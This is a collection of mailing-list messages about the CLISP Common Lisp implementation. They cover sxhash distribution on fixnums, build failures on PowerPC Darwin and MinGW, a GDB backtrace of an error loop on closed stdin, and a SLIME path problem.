> > When used to implement hash-table like structures, the clisp sxhash
> > function on fixnum gives an undesirable bad behavior
> >
> > Note that the specification of sxhash says:
> >
> > 4.
> >      The hash-code is intended for hashing.  This places no verifiable
> >      constraint on a conforming implementation, but the intent is that an
> >      implementation should make a good-faith effort to produce hash-codes
> >      that are well distributed within the range of non-negative fixnums.
> >
> > Obviously, clisp's sxhash on fixnum is not well distributed.
> >
> > I think that for fixnums, returning the fixnum value itself would be a
> > good behavior for sxhash (that's what cmucl and gcl do).
> >
> > (defun sxhash (x)
> >   (typecase x
> >      (fixnum x)
> >      ...))
> 
> I am confused.
> how is clisp behavior worse than that of cmucl and gcl?!


The basic indexing inside the hash table can be written as:

       (aref buckets (mod (sxhash key) (length buckets)))

When (length bucket) is not prime to the delta sxhash, some slots are
never reached.

(loop 
        with size = 20 
        with b = (make-array size :element-type 'bit :initial-element 0)
        for i from 0 to (* 2 size)
        do (setf (aref b (mod (sxhash i) size)) 1)
        finally (return b))
--> #*10001000100010001000



But with the fixnum value as hash, all slots can be used:

(loop 
        with size = 20 
        with b = (make-array size :element-type 'bit :initial-element 0)
        for i from 0 to (* 2 size)
        do (setf (aref b (mod i size)) 1)
        finally (return b))
--> #*11111111111111111111

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-06-15 19:37:18 +0200]:
>
> The basic indexing inside the hash table can be written as:
>
>        (aref buckets (mod (sxhash key) (length buckets)))
>
> When (length bucket) is not prime to the delta sxhash, some slots are
> never reached.
>
> (loop 
>         with size = 20 
>         with b = (make-array size :element-type 'bit :initial-element 0)
>         for i from 0 to (* 2 size)
>         do (setf (aref b (mod (sxhash i) size)) 1)
>         finally (return b))
> --> #*10001000100010001000
>
>
>
> But with the fixnum value as hash, all slots can be used:
>
> (loop 
>         with size = 20 
>         with b = (make-array size :element-type 'bit :initial-element 0)
>         for i from 0 to (* 2 size)
>         do (setf (aref b (mod i size)) 1)
>         finally (return b))
> --> #*11111111111111111111

interesting.
note however that indexing hash table by successive fixnums is not a
good idea (a vector would serve better), so I doubt that this could be a
problem in practice.


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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-06-15 19:37:18 +0200]:
> >
> > The basic indexing inside the hash table can be written as:
> >
> >        (aref buckets (mod (sxhash key) (length buckets)))
> >
> > When (length bucket) is not prime to the delta sxhash, some slots are
> > never reached.
> >
> > (loop 
> >         with size = 20 
> >         with b = (make-array size :element-type 'bit :initial-element 0)
> >         for i from 0 to (* 2 size)
> >         do (setf (aref b (mod (sxhash i) size)) 1)
> >         finally (return b))
> > --> #*10001000100010001000
> >
> >
> >
> > But with the fixnum value as hash, all slots can be used:
> >
> > (loop 
> >         with size = 20 
> >         with b = (make-array size :element-type 'bit :initial-element 0)
> >         for i from 0 to (* 2 size)
> >         do (setf (aref b (mod i size)) 1)
> >         finally (return b))
> > --> #*11111111111111111111
> 
> interesting.
> note however that indexing hash table by successive fixnums is not a
> good idea (a vector would serve better), so I doubt that this could be a
> problem in practice.

This is irrelevant.  Even if you use random fixnums, you get the same effect:


(loop 
        with size = 20
        with b = (make-array size :element-type 'bit :initial-element 0)
        for i from 0 to size
        do (setf (aref b (mod (sxhash (random most-positive-fixnum)) size)) 1)
        finally (return b))
--> #*01101110111111100101

(loop 
        with size = 40
        with b = (make-array size :element-type 'bit :initial-element 0)
        for i from 0 to size
        do (setf (aref b (mod (sxhash (random most-positive-fixnum)) size)) 1)
        finally (return b))
#*0101101011011100011111101110011110101110

Note that users may want to size the hash-table according to the
number of entries, in the hope to avoid non-singleton buckets.  But
sxhash = fixnum*32 leads to more collisions than necessary even with
oversized tables.

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Sam Steingold writes:
 > > * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-06-10 09:02:25 -0700]:
 > >
 > > I would be interested in finding out how well it works on other Macs.
The line above actually meant that I was interested in what happens
when people try to use the distribution I advertised. 

I'm not sure, but it looks to me like you're building from source
below and wondering what's the difference between your environment
and mine.  I gather this is what you want:
 elisabeth-cohens-ibook:~ emmacohen$ uname -a
 Darwin elisabeth-cohens-ibook.local 8.6.0 Darwin Kernel Version 8.6.0:
 Tue Mar  7 16:58:48 PST 2006; root:xnu-792.6.70.obj~1/RELEASE_PPC
 Power Macintosh powerpc
 elisabeth-cohens-ibook:~ emmacohen$ gcc -v
 Using built-in specs.
 Target: powerpc-apple-darwin8
 Configured with: /private/var/tmp/gcc/gcc-5026.obj~19/src/configure
 --disable-checking --prefix=/usr --mandir=/share/man
 --enable-languages=c,objc,c++,obj-c++
 --program-transform-name=/^[cg][^+.-]*$/s/$/-4.0/
 --with-gxx-include-dir=/include/gcc/darwin/4.0/c++
 --build=powerpc-apple-darwin8 --host=powerpc-apple-darwin8
 --target=powerpc-apple-darwin8
 Thread model: posix
 gcc version 4.0.0 (Apple Computer, Inc. build 5026)


 > sf cf ppc-osx3
 > Darwin ppc-osx3.cf.sourceforge.net 6.8 Darwin Kernel Version 6.8: Wed
 > Sep 10 15:20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC  Power
 > Macintosh powerpc
 > gcc (GCC) 3.1 20020420 (prerelease)
 > 
 > builds lisp.run and lispinit.mem but then fails with
 > 
 > gcc -I/home/users/s/sd/sds/top/Darwin-Power_Macintosh/include -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c
 > lispbibl.d:938: only 0 args to macro 'STRING' (1 expected)
 > lispbibl.d:938: illegal function call, found `STRING'
 > lispbibl.d:939: only 0 args to macro 'STRING' (1 expected)
 > lispbibl.d:939: illegal function call, found `STRING'
 > lispbibl.d:1463: only 0 args to macro 'STRING' (1 expected)
 > lispbibl.d:1463: illegal function call, found `STRING'
 > lispbibl.d:3612: only 0 args to macro 'STRING' (1 expected)
 > lispbibl.d:3612: illegal function call, found `STRING'
 > cpp-precomp: warning: errors during smart preprocessing, retrying in basic mode
 > make: *** [genclisph.o] Error 1
 > 
 > adding --traditional-cpp:
 > 
 > lispbibl.d:2925: #error "CLISP has not been ported to this platform - oint_type_len undefined"
 > lispbibl.d:8595: unterminated #else conditional
 > 
 > what is your gcc/uname?


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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-06-10 09:02:25 -0700]:
>
> I would be interested in finding out how well it works on other Macs.

sf cf ppc-osx3
Darwin ppc-osx3.cf.sourceforge.net 6.8 Darwin Kernel Version 6.8: Wed
Sep 10 15:20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC  Power
Macintosh powerpc
gcc (GCC) 3.1 20020420 (prerelease)

builds lisp.run and lispinit.mem but then fails with

gcc -I/home/users/s/sd/sds/top/Darwin-Power_Macintosh/include -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c
lispbibl.d:938: only 0 args to macro 'STRING' (1 expected)
lispbibl.d:938: illegal function call, found `STRING'
lispbibl.d:939: only 0 args to macro 'STRING' (1 expected)
lispbibl.d:939: illegal function call, found `STRING'
lispbibl.d:1463: only 0 args to macro 'STRING' (1 expected)
lispbibl.d:1463: illegal function call, found `STRING'
lispbibl.d:3612: only 0 args to macro 'STRING' (1 expected)
lispbibl.d:3612: illegal function call, found `STRING'
cpp-precomp: warning: errors during smart preprocessing, retrying in basic mode
make: *** [genclisph.o] Error 1

adding --traditional-cpp:

lispbibl.d:2925: #error "CLISP has not been ported to this platform - oint_type_len undefined"
lispbibl.d:8595: unterminated #else conditional

what is your gcc/uname?

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please feel free to open a new bug report, similar to
http://sourceforge.net/tracker/index.php?func=detail&aid=1208124&group_id=1355&atid=101355
http://sourceforge.net/tracker/index.php?func=detail&aid=948868&group_id=1355&atid=101355
please make the report self-contained, but put there a link to this discussion.
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Hi,
I was trying to compile latest clisp CVS version on win32 using latest
mingw and gcc-4.1.1 with the command:
./configure --with-module=bindings/win32 --with-module=rawsock --build
build-mingw
I get the following error.

Configure findings:
  FFI:        yes (user requested: default)
  readline:   no (user requested: default)
  libsigsegv: yes
./makemake --with-dynamic-ffi  --with-module=bindings/win32
--with-module=rawsock --srcdir=../src   > Makefile
cd ../ && make -f Makefile.devel src/configure
make[1]: Entering directory `/c/dev/cvstree/clisp'
egrep '(AC_INIT|AC_PREREQ)' src/configure.in > configure.ac
echo AC_GNU_SOURCE >> configure.ac
cat src/configure.in modules/berkeley-db/configure.in
modules/clx/new-clx/configure.in modules/dirkey/configure.in modul
es/fastcgi/configure.in modules/i18n/configure.in
modules/oracle/configure.in modules/pari/configure.in modules/pcre/con
figure.in modules/postgresql/configure.in modules/rawsock/configure.in
modules/readline/configure.in modules/regexp/conf
igure.in modules/syscalls/configure.in modules/wildcard/configure.in
modules/zlib/configure.in | \
egrep -v -e 'AC_(INIT|PREREQ|CANONICAL_|GNU_SOURCE|CONFIG_HEADER|OUTPUT)' \
        -e 'AC_CONFIG_FILE.*(Makefile|link\.sh)' >> configure.ac
echo AC_OUTPUT >> configure.ac
aclocal -I `pwd`/src/m4 --output=src/autoconf/aclocal.m4
/bin/sh: aclocal: command not found
make[1]: *** [src/autoconf/aclocal.m4] Error 127
make[1]: Leaving directory `/c/dev/cvstree/clisp'
make: *** [../src/configure] Error 2

Thanks,
Marko


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> * Marko Koci=C4=87 <znexb.xbpvp@tznvy.pbz> [2006-06-16 10:42:01 +0200]:
>
> cd ../ && make -f Makefile.devel src/configure
> make[1]: Entering directory `/c/dev/cvstree/clisp'
> egrep '(AC_INIT|AC_PREREQ)' src/configure.in > configure.ac
> echo AC_GNU_SOURCE >> configure.ac
> cat src/configure.in modules/berkeley-db/configure.in
> modules/clx/new-clx/configure.in modules/dirkey/configure.in modul
> es/fastcgi/configure.in modules/i18n/configure.in
> modules/oracle/configure.in modules/pari/configure.in modules/pcre/con
> figure.in modules/postgresql/configure.in modules/rawsock/configure.in
> modules/readline/configure.in modules/regexp/conf
> igure.in modules/syscalls/configure.in modules/wildcard/configure.in
> modules/zlib/configure.in | \
> egrep -v -e 'AC_(INIT|PREREQ|CANONICAL_|GNU_SOURCE|CONFIG_HEADER|OUTPUT)'=
 \
>         -e 'AC_CONFIG_FILE.*(Makefile|link\.sh)' >> configure.ac
> echo AC_OUTPUT >> configure.ac
> aclocal -I `pwd`/src/m4 --output=3Dsrc/autoconf/aclocal.m4
> /bin/sh: aclocal: command not found
> make[1]: *** [src/autoconf/aclocal.m4] Error 127
> make[1]: Leaving directory `/c/dev/cvstree/clisp'
> make: *** [../src/configure] Error 2

touch src/configure

also, you might want to pass "--enable-maintainer-mode=3Dno" to the
top-level configure (see "./configure --help")

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Ok, I did this:
touch src/configure
./configure --with-module=bindings/win32 --with-module=rawsock
--disable-maintainer-mode --build build-mingw

Now the error is the following:

EXT -I. -c spvw.c
In file included from spvw.d:24:
lispbibl.d:1982:21: error: win32.c: No such file or directory.


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I've noticed that CLISP on Linux goes nuts if standard input is
abruptly closed. For instance, the network disconnects and times out,
or you kill your SSH or telnet session.

I rebuilt it with -g to see what is going on. It gets into a tight
error handling loop that generates thousands of stack frames,
revolving around some unbound variable.

Here is a GDB backtrace from the top. Notice that the frame numbers
are above 80,000. To try to shed some light, instead of having the
CLISP just sit in a REPL, I had it executing this:

(with-open-file (out "out.txt" :direction :output)
  (loop (write-line (read-line) out) (force-output out)))

Notice the "~S: symbol ~S has no value:" errors, and the nested
invocations of signal_and_debug.

This is CLISP 2.38, compiled from source tarball, on RH Enterprise Linux 4.

I will try the CVS head, when I have a bit of time.

Note: I had to replace some characters in the range 80-FF in string
literals in the GDB backtrace with the character X so I could post
this.

#85155 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85156 0x080f3e86 in C_invoke_debugger () at error.d:703
#85157 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85158 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85159 0x080f2b35 in end_error (stackptr=0xb711646c, start_driver_p=true)
  at error.d:317
#85160 0x080f2ba3 in fehler (errortype=unbound_variable,
  errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349
#85161 0x0807a788 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a")
  at eval.d:6626
#85162 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85163 0x080f3e86 in C_invoke_debugger () at error.d:703
#85164 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85165 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85166 0x080f2b35 in end_error (stackptr=0xb7116418, start_driver_p=true)
  at error.d:317
#85167 0x080f2ba3 in fehler (errortype=unbound_variable,
  errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349
#85168 0x0807a788 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a")
  at eval.d:6626
#85169 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85170 0x080f3e86 in C_invoke_debugger () at error.d:703
#85171 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85172 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85173 0x080f2b35 in end_error (stackptr=0xb71163c4, start_driver_p=true)
  at error.d:317
#85174 0x080f2ba3 in fehler (errortype=unbound_variable,
  errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349
#85175 0x0807a788 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a")
  at eval.d:6626
#85176 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85177 0x080f3e86 in C_invoke_debugger () at error.d:703
#85178 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85179 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85180 0x080f2b35 in end_error (stackptr=0xb7116370, start_driver_p=true)
  at error.d:317
#85181 0x080f2ba3 in fehler (errortype=unbound_variable,
  errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349
#85182 0x0807a788 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a")
  at eval.d:6626
#85183 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85184 0x080f3e86 in C_invoke_debugger () at error.d:703
#85185 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85186 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85187 0x080f2b35 in end_error (stackptr=0xb711631c, start_driver_p=true)
  at error.d:317
#85188 0x080f2ba3 in fehler (errortype=unbound_variable,
  errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349
#85189 0x0807a788 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a")
  at eval.d:6626
#85190 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85191 0x080f3e86 in C_invoke_debugger () at error.d:703
#85192 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85193 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85194 0x080f2b35 in end_error (stackptr=0xb71162c8, start_driver_p=true)
  at error.d:317
#85195 0x080f2ba3 in fehler (errortype=unbound_variable,
  errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349
#85196 0x0807a788 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a")
  at eval.d:6626
#85197 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85198 0x080f3e86 in C_invoke_debugger () at error.d:703
#85199 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85200 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85201 0x080f2b35 in end_error (stackptr=0xb7116274, start_driver_p=true)
  at error.d:317
#85202 0x080f37e2 in OS_error () at errunix.d:688
#85203 0x0809c8a7 in low_write_array_unbuffered_handle (stream=0x20e4c396,
  byteptr=0xbfff2fe0 "\n$XXX \004", len=1, persev=persev_full) at stream.d:5373
#85204 0x0809ca83 in wr_ch_unbuffered_unix (stream_=0x0, ch=0xbf826228)
  at stream.d:5448
#85205 0x080954ef in write_char (stream_=0xb7116270, ch=0xbf826228)
  at stream.d:895
#85206 0x08096843 in wr_ch_synonym (stream_=0x0, obj=0xc0000150)
  at stream.d:1374
#85207 0x080954ef in write_char (stream_=0xb711626c, ch=0xbf826228)
  at stream.d:895
#85208 0x080c1451 in C_terpri () at io.d:10563
#85209 0x0807afb8 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0xd1 <Address 0xd1 out of bounds>)
  at eval.d:7035
#85210 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85211 0x080f3e86 in C_invoke_debugger () at error.d:703
#85212 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85213 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85214 0x080f2b35 in end_error (stackptr=0xb7116218, start_driver_p=true)
  at error.d:317
#85215 0x080f37e2 in OS_error () at errunix.d:688
#85216 0x0809c8a7 in low_write_array_unbuffered_handle (stream=0x20e4c396,
  byteptr=0xbfff3360 "\n$XXX \004", len=1, persev=persev_full) at stream.d:5373
#85217 0x0809ca83 in wr_ch_unbuffered_unix (stream_=0x0, ch=0xbf826228)
  at stream.d:5448
#85218 0x080954ef in write_char (stream_=0xb7116214, ch=0xbf826228)
  at stream.d:895
#85219 0x08096843 in wr_ch_synonym (stream_=0x0, obj=0xc0000150)
  at stream.d:1374
#85220 0x080954ef in write_char (stream_=0xb7116210, ch=0xbf826228)
  at stream.d:895
#85221 0x080c1451 in C_terpri () at io.d:10563
#85222 0x0807afb8 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0xd1 <Address 0xd1 out of bounds>)
  at eval.d:7035
#85223 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85224 0x080f3e86 in C_invoke_debugger () at error.d:703
#85225 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85226 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85227 0x080f2b35 in end_error (stackptr=0xb71161bc, start_driver_p=true)
  at error.d:317
#85228 0x080f37e2 in OS_error () at errunix.d:688
#85229 0x0809c8a7 in low_write_array_unbuffered_handle (stream=0x20e4c396,
  byteptr=0xbfff36e0 "\n$XXX \004", len=1, persev=persev_full) at stream.d:5373
#85230 0x0809ca83 in wr_ch_unbuffered_unix (stream_=0x0, ch=0xbf826228)
  at stream.d:5448
#85231 0x080954ef in write_char (stream_=0xb71161b8, ch=0xbf826228)
  at stream.d:895
#85232 0x08096843 in wr_ch_synonym (stream_=0x0, obj=0xc0000150)
  at stream.d:1374
#85233 0x080954ef in write_char (stream_=0xb71161b4, ch=0xbf826228)
  at stream.d:895
#85234 0x080c1451 in C_terpri () at io.d:10563
#85235 0x0807afb8 in interpret_bytecode_ (closure=0x20df558e,
  codeptr=0x20df4e74, byteptr_in=0xd1 <Address 0xd1 out of bounds>)
  at eval.d:7035
#85236 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3)
  at eval.d:5779
#85237 0x080f3e86 in C_invoke_debugger () at error.d:703
#85238 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1)
  at eval.d:5339
#85239 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207
#85240 0x080f2b35 in end_error (stackptr=0xb7116160, start_driver_p=true)
  at error.d:317
#85241 0x080f2ba3 in fehler (errortype=end_of_file,
  errorstring=0x8f36540 "~S: input stream ~S has reached its end")
  at error.d:349
#85242 0x080b0f36 in fehler_eof_aussen (stream_=0xbf826238) at io.d:947
#85243 0x080b6a68 in eof_handling (mvc=0) at io.d:4504
#85244 0x080b6cff in C_read_line () at io.d:4602
#85245 0x08076587 in eval_subr (fun=0x81bcf36) at eval.d:3558
#85246 0x08075fa4 in eval1 (form=0x682c086a) at eval.d:3033
#85247 0x08075ba7 in eval (form=0x682c086a) at eval.d:2907
#85248 0x08076d3b in eval_subr (fun=0x81bd276) at eval.d:3437
#85249 0x08075fa4 in eval1 (form=0x682c0872) at eval.d:3033
#85250 0x08075ba7 in eval (form=0x682c0872) at eval.d:2907
#85251 0x0808190a in C_tagbody () at control.d:1621
#85252 0x080760b7 in eval_fsubr (fun=0x20cf7c9e, args=0xbf826238) at
eval.d:3195
#85253 0x08075fd0 in eval1 (form=0x682c068a) at eval.d:3050
#85254 0x08075ba7 in eval (form=0x682c068a) at eval.d:2907
#85255 0x08080e0d in C_block () at control.d:1297
#85256 0x080760b7 in eval_fsubr (fun=0x20cf7c6e, args=0xbf826238) at
eval.d:3195
#85257 0x08075fd0 in eval1 (form=0x682c0672) at eval.d:3050
#85258 0x08075ba7 in eval (form=0x682c0672) at eval.d:2907
#85259 0x08075d20 in eval1 (form=0x682c0672) at eval.d:2976
#85260 0x08075ba7 in eval (form=0x682c087a) at eval.d:2907
#85261 0x0807ee99 in C_progn () at control.d:318
#85262 0x080760b7 in eval_fsubr (fun=0x20cf7abe, args=0xbf826238) at
eval.d:3195
#85263 0x08075fd0 in eval1 (form=0x682c07ea) at eval.d:3050
#85264 0x08075ba7 in eval (form=0x682c07ea) at eval.d:2907
#85265 0x08081ed2 in C_multiple_value_prog1 () at control.d:1755
#85266 0x080760b7 in eval_fsubr (fun=0x20cf7cfe, args=0xbf826238) at
eval.d:3195
#85267 0x08075fd0 in eval1 (form=0x682c07aa) at eval.d:3050
#85268 0x08075ba7 in eval (form=0x682c07aa) at eval.d:2907
#85269 0x08082545 in C_unwind_protect () at control.d:1920
#85270 0x080760b7 in eval_fsubr (fun=0x20cf7d5e, args=0xbf826238) at
eval.d:3195
#85271 0x08075fd0 in eval1 (form=0x682c076a) at eval.d:3050
#85272 0x08075ba7 in eval (form=0x682c076a) at eval.d:2907
#85273 0x0807f855 in C_let () at control.d:689
#85274 0x080760b7 in eval_fsubr (fun=0x20cf7b06, args=0xbf826238) at
eval.d:3195
#85275 0x08075fd0 in eval1 (form=0x682c074a) at eval.d:3050
#85276 0x08075ba7 in eval (form=0x682c074a) at eval.d:2907
#85277 0x08075d20 in eval1 (form=0x682c074a) at eval.d:2976
#85278 0x08075ba7 in eval (form=0x682c08aa) at eval.d:2907
#85279 0x080f00c1 in C_read_eval_print () at debug.d:408
#85280 0x080797ce in funcall_subr (fun=0x81bc176, args_on_stack=2)
  at eval.d:5339
#85281 0x0807af12 in interpret_bytecode_ (closure=0x20e6456e,
  codeptr=0x20df4d0c, byteptr_in=0x41 <Address 0x41 out of bounds>)
  at eval.d:7021
#85282 0x08079cf8 in funcall_closure (closure=0x20e6456e, args_on_stack=0)
  at eval.d:5779
#85283 0x0808280a in C_driver () at control.d:1976
#85284 0x0807afb8 in interpret_bytecode_ (closure=0x20df4e56,
  codeptr=0x20df4cb4, byteptr_in=0x1e <Address 0x1e out of bounds>)
  at eval.d:7035
#85285 0x08079cf8 in funcall_closure (closure=0x20df4e56, args_on_stack=0)
  at eval.d:5779
#85286 0x080f02c7 in driver () at debug.d:477
#85287 0x08071a15 in reset (count=3071369679) at eval.d:517
#85288 0x080826ec in C_unwind_protect () at control.d:1952
#85289 0x080760b7 in eval_fsubr (fun=0x20cf7d5e, args=0xbf826238) at
eval.d:3195
#85290 0x08075fd0 in eval1 (form=0x682c7caa) at eval.d:3050
#85291 0x08075ba7 in eval (form=0x682c7caa) at eval.d:2907
#85292 0x0807f855 in C_let () at control.d:689
#85293 0x080760b7 in eval_fsubr (fun=0x20cf7b06, args=0xbf826238) at
eval.d:3195
#85294 0x08075fd0 in eval1 (form=0x682c7c8a) at eval.d:3050
#85295 0x08075ba7 in eval (form=0x682c7c8a) at eval.d:2907
#85296 0x08075d20 in eval1 (form=0x682c7c8a) at eval.d:2976
#85297 0x08075ba7 in eval (form=0x682c7dd2) at eval.d:2907
#85298 0x080f00c1 in C_read_eval_print () at debug.d:408
#85299 0x080797ce in funcall_subr (fun=0x81bc176, args_on_stack=2)
  at eval.d:5339
#85300 0x0807af12 in interpret_bytecode_ (closure=0x20e57256,
  codeptr=0x20df4d0c, byteptr_in=0x41 <Address 0x41 out of bounds>)
  at eval.d:7021
#85301 0x08079cf8 in funcall_closure (closure=0x20e57256, args_on_stack=0)
  at eval.d:5779
#85302 0x0808280a in C_driver () at control.d:1976
#85303 0x0807afb8 in interpret_bytecode_ (closure=0x20df4e56,
  codeptr=0x20df4cb4, byteptr_in=0x1e <Address 0x1e out of bounds>)
  at eval.d:7035
#85304 0x08079cf8 in funcall_closure (closure=0x20df4e56, args_on_stack=0)
  at eval.d:5779
#85305 0x0807b20a in interpret_bytecode_ (closure=0x20e49dd6,
  codeptr=0x20d5032c, byteptr_in=0x42 <Address 0x42 out of bounds>)
  at eval.d:7085
#85306 0x08079cf8 in funcall_closure (closure=0x20e49dd6, args_on_stack=0)
  at eval.d:5779
#85307 0x080f02c7 in driver () at debug.d:477
#85308 0x0806e25b in main (argc=8, argv=0xbfff9d94) at spvw.d:3320


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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-06-10 09:02:25 -0700]:
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> I managed to follow the instructions, more or less, almost without
> incident, and have left the result in
> http://don-eve.dyndns.org//clisp-2.38-powerpc-apple-darwin8.6.0-8.6.0.tar.gz

when building from cvs, you might want to do
  make VERSION_SUFFIX="cvs-20060601-donc" distrib
(just added)

> It would have helped me if this had been in the INSTALL file: 
>  $ cvs -d :pserver:anonymous@clisp.cvs.sourceforge.net/cvsroot/clisp co clisp

we cannot put all information in every single file.
if you already have unix/INSTALL, chances are that you already have the
source distribution, so the instructions on getting the sources would
just add unnecessary clutter.

the instructions on getting clisp are on the official clisp homepage.


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Sam Steingold writes:
 > when building from cvs, you might want to do
 >   make VERSION_SUFFIX="cvs-20060601-donc" distrib
 > (just added)
What does just added mean?
I'm hoping it means that you've uploaded this build, modified
it in some appropriate way and put it somewhere else for people
to retrieve.  Does this change just the name of the distrib file
or also the name of the directory it contains, or what?

 > > It would have helped me if this had been in the INSTALL file: 
 > >  $ cvs -d :pserver:anonymous@clisp.cvs.sourceforge.net/cvsroot/clisp co clisp
 > 
 > we cannot put all information in every single file.
 > if you already have unix/INSTALL, chances are that you already have the
 > source distribution, so the instructions on getting the sources would
 > just add unnecessary clutter.
 > 
 > the instructions on getting clisp are on the official clisp homepage.
I don't see anything on that page that provides the direction above.
I would appreciate if there were.  I ended up reading the cvs doc for
a while before I managed to construct the line above.  I don't suppose
it qualifies as a FAQ.
I see rsync which gives me an entire cvs tree.  (I tried for a while
to figure out how to use that.)
CVS browsing (which seems not to be working at the moment) could get
me the unix/INSTALL file.  


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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-06-19 13:32:39 -0700]:
>
> Sam Steingold writes:
>  > when building from cvs, you might want to do
>  >   make VERSION_SUFFIX="cvs-20060601-donc" distrib
>  > (just added)
> What does just added mean?

it means that you need to do "cvs up" to use this feature.

>  > > It would have helped me if this had been in the INSTALL file: 
>  > >  $ cvs -d :pserver:anonymous@clisp.cvs.sourceforge.net/cvsroot/clisp co clisp
>  > 
>  > we cannot put all information in every single file.
>  > if you already have unix/INSTALL, chances are that you already have the
>  > source distribution, so the instructions on getting the sources would
>  > just add unnecessary clutter.
>  > 
>  > the instructions on getting clisp are on the official clisp homepage.
> I don't see anything on that page that provides the direction above.

the page refers to the SF home which, in turn, has cvs instructions.


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funkyj@gmail.com writes:

> I had slime + clisp (on cygwin) working fine.  Yesterday I decided to
> upgrade various cygwin packages (including clisp).  Now when I try to
> start slime I get this error:
> 
>     [1]> 
>     *** - LOAD: A file with name
>           /c/cygwin/home/jcano/elisp/slime/2006-06-21/slime/swank-loader.lisp does
>           not exist
>     The following restarts are available:
>     ABORT          :R1      ABORT

        [...]

> I can probably fix this by overriding slime-path (I'll try that after
> posting this).  Does anyone know why upgrading (I think I had 2.35) to
> 2.38 would cause this failure?

OK, I patched `slime-path' in my .emacs_slime file like this:


    (defvar slime-path "/home/jcano/elisp/slime/2006-06-21/slime/")

and I no longer get the error mentioned above (i.e. can't find
"swank-loader.lisp").  Now I'm getting a new error:


    ;;  Loaded file /home/jcano/.slime/fasl/2006-06-18/clisp-2.38-unix-pc386/swank.fas
    0 errors, 0 warnings
    WARNING: These Swank interfaces are unimplemented:
             (ACTIVATE-STEPPING ADD-FD-HANDLER ADD-SIGIO-HANDLER ALL-THREADS
             CALLS-WHO
